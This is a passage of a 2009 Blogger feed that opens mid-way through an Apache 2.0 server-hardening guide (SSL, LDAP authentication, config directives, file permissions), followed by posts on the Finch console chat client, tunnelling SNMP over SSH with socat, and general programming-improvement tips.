authentication and encryption for your web server.  If you have any protected content on your web server, it’s important that you only allow your users to access it over SSL, otherwise your user passwords will be sent in clear text, subject to snooping.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;*      ssl: Encrypts the traffic from the browser to the web server – an important means of protecting login passwords and sensitive data.&lt;br /&gt;&lt;br /&gt;*      auth_ldap: Allows you to validate passwords against ldap.xianco.com or other LDAP.&lt;br /&gt;A word about LDAP authentication                &lt;br /&gt;&lt;br /&gt;It’s important that you don’t set up your own userid/password store, since it propagates passwords into insecure locations.  Instead, you should modify your configuration to defer authentication to a central store, such as a centrally maintained LDAP.  To authenticate against an LDAP store, you need to compile Apache with support.  In order to use mod_ldap, you’ll need LDAP libraries installed on your system.  You can use OpenLDAP or Netscape Directory SDK for the LDAP client libraries.&lt;br /&gt;Configuration commands&lt;br /&gt;&lt;br /&gt;Here’s how to configure Apache with these options:&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;~&gt; pwd&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;/usr/local/build/httpd-2.0.45&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;~&gt; sudo ./configure –-prefix=/opt/apache2 \&lt;br /&gt;&lt;br /&gt;--enable-so \&lt;br /&gt;&lt;br /&gt;--enable-ssl \&lt;br /&gt;&lt;br /&gt;--with-ldap \&lt;br /&gt;&lt;br /&gt;--enable-ldap \&lt;br /&gt;&lt;br /&gt;--enable-auth-ldap \&lt;br /&gt;&lt;br /&gt;--disable-info \&lt;br /&gt;&lt;br /&gt;--disable-status \&lt;br /&gt;&lt;br /&gt;--disable-autoindex \&lt;br /&gt;&lt;br /&gt;--disable-imap \&lt;br /&gt;&lt;br /&gt;--disable-include \&lt;br /&gt;&lt;br /&gt;--disable-userdir \&lt;br /&gt;&lt;br /&gt;--disable-auth&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;checking for chosen layout... Apache&lt;br /&gt;&lt;br /&gt;checking for working mkdir -p... yes&lt;br /&gt;&lt;br /&gt;checking build system type... sparc64-unknown-linux-gnu&lt;br /&gt;&lt;br /&gt;checking host system type... sparc64-unknown-linux-gnu&lt;br /&gt;&lt;br /&gt;checking target system type... sparc64-unknown-linux-gnu&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Configuring Apache Portable Runtime library ...&lt;br /&gt;&lt;br /&gt;…&lt;br /&gt; &lt;br /&gt;4.3 Compile the Apache server&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Now that the software is validated and configured, it’s time to compile it.  Since you won’t have a compiler on your production host, we’ll compile and install it on a separate server, then tar/compress it and scp it to your production host.  You’ll need to run make using “sudo” so that Apache knows it can use ports &lt; 1000.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;~&gt; pwd&lt;br /&gt;&lt;br /&gt;/usr/local/build/httpd-2.0.45&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;~&gt; sudo make&lt;br /&gt;&lt;br /&gt;===&gt; src&lt;br /&gt;&lt;br /&gt;make[1]: Entering directory `/usr/local/build/httpd-2.0.45'&lt;br /&gt;&lt;br /&gt;make[2]: Entering directory `/usr/local/build/httpd-2.0.45/src'&lt;br /&gt;&lt;br /&gt;===&gt; src/regex&lt;br /&gt;&lt;br /&gt;sh ./mkh  -p regcomp.c &gt;regcomp.ih&lt;br /&gt;&lt;br /&gt;…&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;4.4 Install the Apache server&lt;br /&gt;&lt;br /&gt;If you have followed our instructions for securing the host, you will have to unpack the distribution and compile it on a separate host.   To make your server more secure, use a separate disk partition for your web content. Create a unique mount point for this directory -- htdocs is a good name to use, but make it somewhere outside the ServerRoot directory. You'll need to update /etc/vfstab to mount this partition as part of your server's startup process.&lt;br /&gt;&lt;br /&gt;Do not use the htdocs directory included in the distribution as your DocumentRoot. This directory contains user documentation that you don't want to make available to the public as it contains information a potential attacker could use to penetrate your system. (The attacker can deduce what kind of web server you’re running, and hone his attack accordingly.)  Move these documentation files into your support directory so the webmasters for your site can refer to them as needed.&lt;br /&gt;&lt;br /&gt;You’ll need to install the Apache server using “sudo” privileges or as root.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;~&gt; pwd&lt;br /&gt;&lt;br /&gt;/usr/local/build/httpd-2.0.45&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;~&gt; sudo make install&lt;br /&gt;&lt;br /&gt;===&gt; [mktree: Creating Apache installation tree]&lt;br /&gt;&lt;br /&gt;./src/helpers/mkdir.sh /opt/apache2/bin&lt;br /&gt;&lt;br /&gt;./src/helpers/mkdir.sh /opt/apache2/libexec&lt;br /&gt;&lt;br /&gt;./src/helpers/mkdir.sh /opt/apache2/man/man1&lt;br /&gt;&lt;br /&gt;./src/helpers/mkdir.sh /opt/apache2/man/man8&lt;br /&gt;&lt;br /&gt;./src/helpers/mkdir.sh /opt/apache2/conf&lt;br /&gt;&lt;br /&gt;..&lt;br /&gt;5. Install SSL certificates&lt;br /&gt;&lt;br /&gt;Now that the server is installed, we need to copy certificate key, server certificate, and CA chain to Apache’s configuration directory.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;5.1 Set up the Apache certificate directories&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;~&gt; pwd&lt;br /&gt;&lt;br /&gt;/opt/apache2/conf&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;~&gt; sudo mkdir ssl.crt ssl.key&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;5.2 Copy the certificate and key to the SSL configuration directory&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;~&gt; sudo cp /usr/local/build/server.crt ./ssl.crt/.&lt;br /&gt;&lt;br /&gt;~&gt; sudo cp /usr/local/build/server.key ./ssl.key/.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;6.  Configure the Apache server&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Configure the file permissions and runtime settings of the Apache server.  It’s important that you place your htdocs, cgi-bin, and logs directories on separately mounted filesystems.&lt;br /&gt; &lt;br /&gt;6.1 Configure httpd.conf&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Set the following in your httpd.conf file.  You can also download an example httpd.conf with these settings here.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;Directive and setting&lt;br /&gt;	&lt;br /&gt;Description/rationale&lt;br /&gt;&lt;br /&gt;ServerSignature Off&lt;br /&gt;	&lt;br /&gt;&lt;br /&gt;Prevents server from giving version info on error pages.&lt;br /&gt;&lt;br /&gt;ServerTokens Prod&lt;br /&gt;	&lt;br /&gt;&lt;br /&gt;Prevents server from giving version info in HTTP headers&lt;br /&gt;&lt;br /&gt;Listen 80 (remove)&lt;br /&gt;	&lt;br /&gt;&lt;br /&gt;Remove the “Listen” directive – we’ll set this directive only in ssl.conf, so that it will only be available over https.&lt;br /&gt;&lt;br /&gt;User webserv (or whatever you created in step 2 above)&lt;br /&gt;	&lt;br /&gt;&lt;br /&gt;Ensure that the child processes run as unprivileged user&lt;br /&gt;&lt;br /&gt;Group webserv (or whatever you created in step 2 above)&lt;br /&gt;	&lt;br /&gt;&lt;br /&gt;Ensure that the child processes run as unprivileged group&lt;br /&gt;&lt;br /&gt;ErrorDocument 404 errors/404.html&lt;br /&gt;&lt;br /&gt;ErrorDocument 500 errors/500.html&lt;br /&gt;&lt;br /&gt;etc.&lt;br /&gt;	&lt;br /&gt;&lt;br /&gt;To further obfuscate the web server and version, this will redirect to a page that you should create, rather than using the default Apache pages.&lt;br /&gt;&lt;br /&gt;ServerAdmin &lt;hostname&gt;-webmaster@xianco.com&lt;br /&gt;	&lt;br /&gt;&lt;br /&gt;Use a mail alias – never use a person’s email address here.&lt;br /&gt;&lt;br /&gt;UserDir disabled root&lt;br /&gt;	&lt;br /&gt;&lt;br /&gt;Remove the UserDir line, since we disabled this module.  If you do enable user directories, you’ll need this line to protect root’s files.&lt;br /&gt;&lt;br /&gt;&lt;Directory /&gt;&lt;br /&gt;&lt;br /&gt;    Order Deny, Allow&lt;br /&gt;&lt;br /&gt;    deny from all&lt;br /&gt;&lt;br /&gt;&lt;/Directory&gt;&lt;br /&gt;	&lt;br /&gt;&lt;br /&gt;Deny access to the root file system.&lt;br /&gt;&lt;br /&gt;&lt;Directory /opt/apache2/htdocs"&gt;&lt;br /&gt;&lt;br /&gt;  &lt;LimitExcept GET POST&gt;&lt;br /&gt;&lt;br /&gt;     deny from all&lt;br /&gt;&lt;br /&gt;  &lt;/LimitExcept&gt;&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;  Options -FollowSymLinks -Includes -Indexes  -MultiViews&lt;br /&gt;&lt;br /&gt;  AllowOverride None&lt;br /&gt;&lt;br /&gt;  Order allow,deny&lt;br /&gt;&lt;br /&gt;  Allow from all&lt;br /&gt;&lt;br /&gt;&lt;/Directory&gt;&lt;br /&gt;	&lt;br /&gt;&lt;br /&gt;LimitExcept prevents TRACE from allowing attackers to find a path through cache or proxy servers.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;The “-“ before any directive disables that option.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;FollowSymLinks allows a user to navigate outside the doc tree, and Indexes will reveal the contents of any directory in your doc tree.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Includes allows .shtml pages, which use server-side includes (potentially allowing access to the host).  If you really need SSI, use IncludesNoExec instead.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;AllowOverride None will prevent developers from overriding these specifications in other parts of the doc tree.&lt;br /&gt;&lt;br /&gt;AddIcon (remove)&lt;br /&gt;&lt;br /&gt;IndexOptions (remove)&lt;br /&gt;&lt;br /&gt;AddDescription (remove)&lt;br /&gt;&lt;br /&gt;ReadmeName (remove)&lt;br /&gt;&lt;br /&gt;HeaderName (remove)&lt;br /&gt;&lt;br /&gt;IndexIgnore (remove)&lt;br /&gt;	&lt;br /&gt;&lt;br /&gt;Remove all references to these directives, since we disabled the fancy indexing module.&lt;br /&gt;&lt;br /&gt;Alias /manual (remove)&lt;br /&gt;	&lt;br /&gt;&lt;br /&gt;Don’t provide any accessible references to the Apache manual, it gives attackers too much info about your server.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;You should familiarize yourself with the following parameters.  Unless you are running a high-volume web site, you can safely leave the settings at their default values.  If you are running a high-volume web site, you’ll want to adjust these directives upward to better withstand denial-of-service attacks. &lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;*      StartServers&lt;br /&gt;&lt;br /&gt;*      MinSpareServers&lt;br /&gt;&lt;br /&gt;*      MaxSpareServers&lt;br /&gt;&lt;br /&gt;*      Timeout&lt;br /&gt;&lt;br /&gt;*      Keepalive&lt;br /&gt;&lt;br /&gt;*      MaxKeepAliveRequests&lt;br /&gt;&lt;br /&gt;*      KeepAliveTimeout&lt;br /&gt;&lt;br /&gt;*      MaxClients&lt;br /&gt;&lt;br /&gt;*      MaxRequestsPerChild&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;6.2 Configure ssl.conf&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Set the following in your ssl.conf file.  You can also download an example ssl.conf with these settings here.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;Directive and setting&lt;br /&gt;	&lt;br /&gt;Description/rationale&lt;br /&gt;&lt;br /&gt;SSLCertificateChainFile /opt/apache2/conf/ssl.crt/ca.crt&lt;br /&gt;	&lt;br /&gt;&lt;br /&gt;(Find this line and uncomment it).  This points to the Certificate Authority file for your chained certificate.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;6.3 Remove default Apache files&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;It’s important to remove default files such as .html files and CGI scripts (yes, even the Apache manual).  This will help obfuscate the server you’re running, targetted attacks against your web server.  You’ll probably want to build a simple index.html page to place in the htdocs directory, just so you know the web server is working when you start it.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;~&gt; sudo rm –fr /opt/apache2/htdocs/*&lt;br /&gt;&lt;br /&gt;~&gt; sudo rm –fr /opt/apache2/cgi-bin/*&lt;br /&gt;&lt;br /&gt;~&gt; sudo rm –fr /opt/apache2/icons&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;To test that your web server is running, you can now place this file in your htdocs directory – it’s just a simple index.html file.  Make sure you set the permissions to world-readable.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;6.4 Set directory and file permissions for the server&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;To protect the directories on your server, it’s important that you protect the directories themselves. &lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;*      bin is where the executable portion of the Apache web server is.  It should be readable/executable only by members of the webadmin group, but only writable by root.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;~&gt; sudo chown –R root:webadmin /opt/apache2/bin&lt;br /&gt;&lt;br /&gt;~&gt; sudo chmod –R 770 /opt/apache2/bin&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;*      conf is where your web server configuration files are and needs to be read/writable only by the webadmin group.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;~&gt; sudo chown –R root:webadmin /opt/apache2/conf&lt;br /&gt;&lt;br /&gt;~&gt; sudo chmod –R 770 /opt/apache2/conf&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;*      logs is where your access and error logs will go.  It should be readable only by the webadmin group.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;~&gt; sudo chown –R root:webadmin /opt/apache2/logs&lt;br /&gt;&lt;br /&gt;~&gt; sudo chmod –R 755 /opt/apache2/logs&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;*      htdocs is where your HTML files are and needs to be world readable, but writable only by root (you should copy content in from a staging server).&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;~&gt; sudo chown –R root /opt/apache2/htdocs&lt;br /&gt;&lt;br /&gt;~&gt; sudo chmod –R 775 /opt/apache2/htdocs&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;*      cgi-bin is where your executable scripts are and needs to be world read/executable, but writable only by root (you should copy content in from a staging server).&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;~&gt; sudo chown –R root /opt/apache2/cgi-bin&lt;br /&gt;&lt;br /&gt;~&gt; sudo chmod –R 775 /opt/apache2/cgi-bin&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;7. Make final configuration and start server&lt;br /&gt;&lt;br /&gt;Lastly, we need to modify the startup configuration for Apache and restart the server.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;7.1 Modify Apache startup script so that it will notify you when it’s restarted.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;As a failsafe measure, you should notify your webmaster alias any time this server is restarted.  That way, you’ll be notified of any unauthorized attempt.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Open /opt/apache/bin/apachectl and add something like this to the file:&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;tail /opt/apache2/logs/error_log |&lt;br /&gt;&lt;br /&gt;/bin/mail -s 'Apache web server has restarted' &lt;hostname&gt;-webmaster@xianco.com&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;7.2 Test your configuration by starting the server&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;sudo /opt/apache2/bin/apachectl startssl&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;7.3 Keep your web server patched&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Check web sites for Apache and all modules regularly and apply important patches.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Apache web server: http://nagoya.apache.org/dist/httpd/patches/&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;OpenSSL: http://www.openssl.org/source&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;OpenLDAP: http://www.openldap.org/&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;8. Configure authentication against an LDAP directory.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;In this final section, we’ll configure the Apache httpd.conf file so that resources are authenticated against an LDAP server.  This step really can’t be run until you’ve installed the web server.  Once you’ve got your web server installed, just add the LDAP authentication directives to any directory (or httpd.conf file) where you want password protection with CEC credentials.  Here’s an example of protecting a directory named “Internal”&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;&lt;Location "/internal"&gt;&lt;br /&gt;&lt;br /&gt;     AuthName CEC&lt;br /&gt;&lt;br /&gt;     AuthType Basic&lt;br /&gt;&lt;br /&gt;     AuthLDAPURL ldap://ldap.xianco.com:389/ou=employees,ou=people,o=xianco.com?uid?sub?(objectclass=xiancoPerson)   &lt;br /&gt;&lt;br /&gt;     require valid-user&lt;br /&gt;&lt;br /&gt;&lt;/Location&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3260786454834177359-3557530429844795964?l=devilz-kiddies.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devilz-kiddies.blogspot.com/feeds/3557530429844795964/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/07/apache-20-hardening-guide.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/3557530429844795964'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/3557530429844795964'/><link rel='alternate' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/07/apache-20-hardening-guide.html' title='Apache 2.0 Hardening Guide'/><author><name>kiddies</name><uri>http://www.blogger.com/profile/13318580746848806214</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_OQnLNZeuyqU/TPWY_Tjlt3I/AAAAAAAAABA/yzWi5koouns/S220/I%2BLoVe%2BU%2B4eVer.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3260786454834177359.post-45996716745401100</id><published>2009-07-27T09:05:00.001-07:00</published><updated>2009-07-27T09:11:06.385-07:00</updated><title type='text'>Finch - Howto use Pidgin via Terminal Console</title><content type='html'>For those who have starts getting in love with Terminal Console in Ubuntu, you may love to be able to do everything from the Terminal console. Even if I previously said, I've already bored with the terminal coz I see it every day...&lt;br /&gt;it is good to know that actually, your terminal can do almost everything you wanna do in your linux box. I just don't like the way it looks and feel because I love art and graphics. I like the eye catchy graphics and also the live cubic desktop effect and so on. Anyway, I would like to share on how to use your Pidgin from terminal console. &lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_OQnLNZeuyqU/Sm3Q65iK2sI/AAAAAAAAAAw/G9FcV6iOHT4/s1600-h/finch.png"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 200px; height: 140px;" src="http://1.bp.blogspot.com/_OQnLNZeuyqU/Sm3Q65iK2sI/AAAAAAAAAAw/G9FcV6iOHT4/s200/finch.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5363172441563257538" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I have a lot to say about situations where you only got your terminal console to use programs in linux. But lets keep it short and go straight to the point now. The program to enable you to use Pidgin via Terminal console is called Finch. Finch as in the manual is "A Pimpin’ Penguin console frontend to libpurple Instant Messaging client."&lt;br /&gt;&lt;br /&gt;Run this command on your terminal to install finch in Ubuntu:&lt;br /&gt;&lt;blockquote&gt;$ sudo apt-get install finch&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;After installation, you can now use your Pidgin from the terminal console by running this command on your terminal:&lt;br /&gt;&lt;blockquote&gt;$ finch&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;As you wish to use terminal, you should already aware that you can't use your mouse (too bad for mousey... LOL). So, you have to be ready with keyboard shortcuts to use this application. Here is the quick list of useful keyboard shortcut to be use within Finch (taken from 'man finch'):&lt;br /&gt;&lt;br /&gt;Finch: GNT Shortcut&lt;br /&gt;&lt;br /&gt;Shortcut Description&lt;br /&gt;Alt + a Bring up a list of available actions. You can use this list to access the accounts window, plugins window, preference window etc.&lt;br /&gt;Alt + n Go to the next window.&lt;br /&gt;Alt + p Go to the previous window.&lt;br /&gt;Alt + w Show the list of windows. You can select and jump to any window from the list.&lt;br /&gt;Alt + c Close the current window.&lt;br /&gt;Alt + q Quit.&lt;br /&gt;Alt + m Start moving a window. Press the cursor keys to move the window. When you are done, press Enter or Escape.&lt;br /&gt;Alt + r Start resizing a window. Press the cursor keys to resize the window. When you are done, press Enter or Escape.&lt;br /&gt;Alt + d Dump the contents of the screen in HTML format in a file named "dump.html" in working directory.&lt;br /&gt;Alt + . Move the position of the current window in the window list one place to the right.&lt;br /&gt;Alt + , Move the position of the current window in the window list one place to the left.&lt;br /&gt;Alt + l Refresh the windows. This is useful after resizing the terminal window.&lt;br /&gt;Alt + 1 2 ... 0 Jump to the 1st, 2nd ... 10th window.&lt;br /&gt;Ctrl + o Bring up the menu (if there is one) for a window. Note that currently only the buddylist has a menu.&lt;br /&gt;Alt + / Show a list of available key-bindings for the current widget in focus.&lt;br /&gt;Alt + &gt; Switch to the next workspace&lt;br /&gt;Alt + &lt; Switch to the previous workspace&lt;br /&gt;Alt + t Tag (or untag) the current window&lt;br /&gt;Alt + T Attached all the tag windows to the current workspace&lt;br /&gt;Alt + s Show the workspace list&lt;br /&gt;F9 Create a new workspace and switch to it&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;You may now grab your terminal, try and feel it for yourself. For more information, you may simply call "man finch" and read them. That's all for now mate, Enjoy Ubuntu!! &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;reference: http://coderstalk.blogspot.com/2008/09/finch-howto-use-pidgin-via-terminal.html&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3260786454834177359-45996716745401100?l=devilz-kiddies.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devilz-kiddies.blogspot.com/feeds/45996716745401100/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/07/finch-howto-use-pidgin-via-terminal.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/45996716745401100'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/45996716745401100'/><link rel='alternate' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/07/finch-howto-use-pidgin-via-terminal.html' title='Finch - Howto use Pidgin via Terminal Console'/><author><name>kiddies</name><uri>http://www.blogger.com/profile/13318580746848806214</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_OQnLNZeuyqU/TPWY_Tjlt3I/AAAAAAAAABA/yzWi5koouns/S220/I%2BLoVe%2BU%2B4eVer.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_OQnLNZeuyqU/Sm3Q65iK2sI/AAAAAAAAAAw/G9FcV6iOHT4/s72-c/finch.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3260786454834177359.post-1698555676674532789</id><published>2009-07-26T00:44:00.001-07:00</published><updated>2009-07-26T00:44:56.389-07:00</updated><title type='text'>SNMP over SSH</title><content type='html'>Many monitoring softwares like EM7, Nagios need SNMP service running on servers to be monitored. However administrator or security admin never want to make SNMP running on their production servers because of Security issues. Here is workaround for this issue. We will run SNMP through SSH (encrypted) channel and will make it secured.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;We will be using few terms here:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;1. Producer: The Server which you want to Monitor running net-snmp&lt;br /&gt;&lt;br /&gt;2. Proxy: Accessible to Both to Monitoring Server (MS) and to the Producer. Proxy machine will be in local network of MS.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;3. MS: Monitoring Server&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Prerequisites:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;socat should be installed on&lt;br /&gt;&lt;br /&gt;Scenario:&lt;br /&gt;&lt;br /&gt;I want to monitor my Personal System from MS. I have setup Firewall to access my system. In that Only port 22 is open. You cannot access SNMP running on my personal system directly. So I have setup one Proxy Machine i.e. ABC which is accessible to MS and you can access my machine from ABC also.&lt;br /&gt;&lt;br /&gt;Proxy Machine: ABC  10.0.0.1&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;On Proxy Machine:&lt;br /&gt;&lt;br /&gt;ssh -f -N root@&lt;PRODUCER IP&gt; -L 6004:localhost:6004&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Start TCP to UDP socat on Producer:&lt;br /&gt;&lt;br /&gt;socat -d -d -d  -lffoo.log TCP4-LISTEN:6004,fork UDP4:localhost:161&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Start UDP to TCP socat on Proxy:&lt;br /&gt;&lt;br /&gt;socat -d -d -d -lffoo.log UDP4-LISTEN:161,fork TCP:localhost:6004&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Test by running snmpwalk on Proxy Machine:&lt;br /&gt;&lt;br /&gt;snmpwalk -v1 -c public localhost&lt;br /&gt;Now use port 161 of Proxy machine to access SNMP data of Producer and start monitoring it.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;reference:linuxforums&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3260786454834177359-1698555676674532789?l=devilz-kiddies.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devilz-kiddies.blogspot.com/feeds/1698555676674532789/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/07/snmp-over-ssh.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/1698555676674532789'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/1698555676674532789'/><link rel='alternate' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/07/snmp-over-ssh.html' title='SNMP over SSH'/><author><name>kiddies</name><uri>http://www.blogger.com/profile/13318580746848806214</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_OQnLNZeuyqU/TPWY_Tjlt3I/AAAAAAAAABA/yzWi5koouns/S220/I%2BLoVe%2BU%2B4eVer.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3260786454834177359.post-7381294425055059780</id><published>2009-07-22T05:22:00.001-07:00</published><updated>2009-07-22T05:22:48.705-07:00</updated><title type='text'>How to become a better programmer</title><content type='html'>Join an online programming community&lt;br /&gt;&lt;br /&gt;There are a lot of online programming communities that you can join that will help you improve your programming ability. These communities have the latest programming news, articles and howtos, and forums. Keeping up with the news will help you stay with the times. Reading the articles and howtos will improve your programming skill. The forums are always a great way to not only get help but to help other people and learn things you didn't know in the process.&lt;br /&gt;Work on an open source project&lt;br /&gt;&lt;br /&gt;It is a good idea to work on an open source project because you will get to be part of the development of a real program. You are not only learning while you are doing your own coding but you are learning from the code of the other programmers.&lt;br /&gt;Do personal projects&lt;br /&gt;&lt;br /&gt;If you would rather work on a project by yourself then that is also a great way to learn. You need to make sure that you try something that is very different to what you have programmed before to get the most benefit. The best thing about working on personal projects is that you are free to use the latest technologies and learn all about them.&lt;br /&gt;Read programming books&lt;br /&gt;&lt;br /&gt;The Internet has so much information about programming that it seems as if books are now useless but that is definately not true. Books go into things in a lot more detail and the more details you learn about something the better you will be at it. You can also carry a book around with you which you can't always do with a computer.&lt;br /&gt;Program in another language or field&lt;br /&gt;&lt;br /&gt;It is nice to have a good knowledge of one programming language but the popularity of programming languages seems to change so quickly. You need to be prepared for new programming languages otherwise you might not be able to program very much in the future. Other programming languages will also make you look at the way that you program in languages you already know in a different way. If you have mostly only made accounting programs then it means that you will have a hard time programming other types of software. You need to learn about how programs are made in different industry fields so that you get new ideas and learn new ways to program.&lt;br /&gt;Learn about non-programming things&lt;br /&gt;&lt;br /&gt;The interesting thing about programming is that you get the chance to learn about all the different industries that are not related to IT. The downside of this is that you have to learn about a new industry every time you work on a new program. If you think ahead and learn about all the different industries then you will prepare yourself for when you have to program for another industry. Learning about things that are not related to programming can also give you new ideas on how to solve programming problems.&lt;br /&gt;Refresh your knowledge&lt;br /&gt;&lt;br /&gt;When you haven't worked with a programming language or technology for a while then you forget a lot about it. You need to hold on to your previous knowledge by practicing things that you have learnt in the past.&lt;div 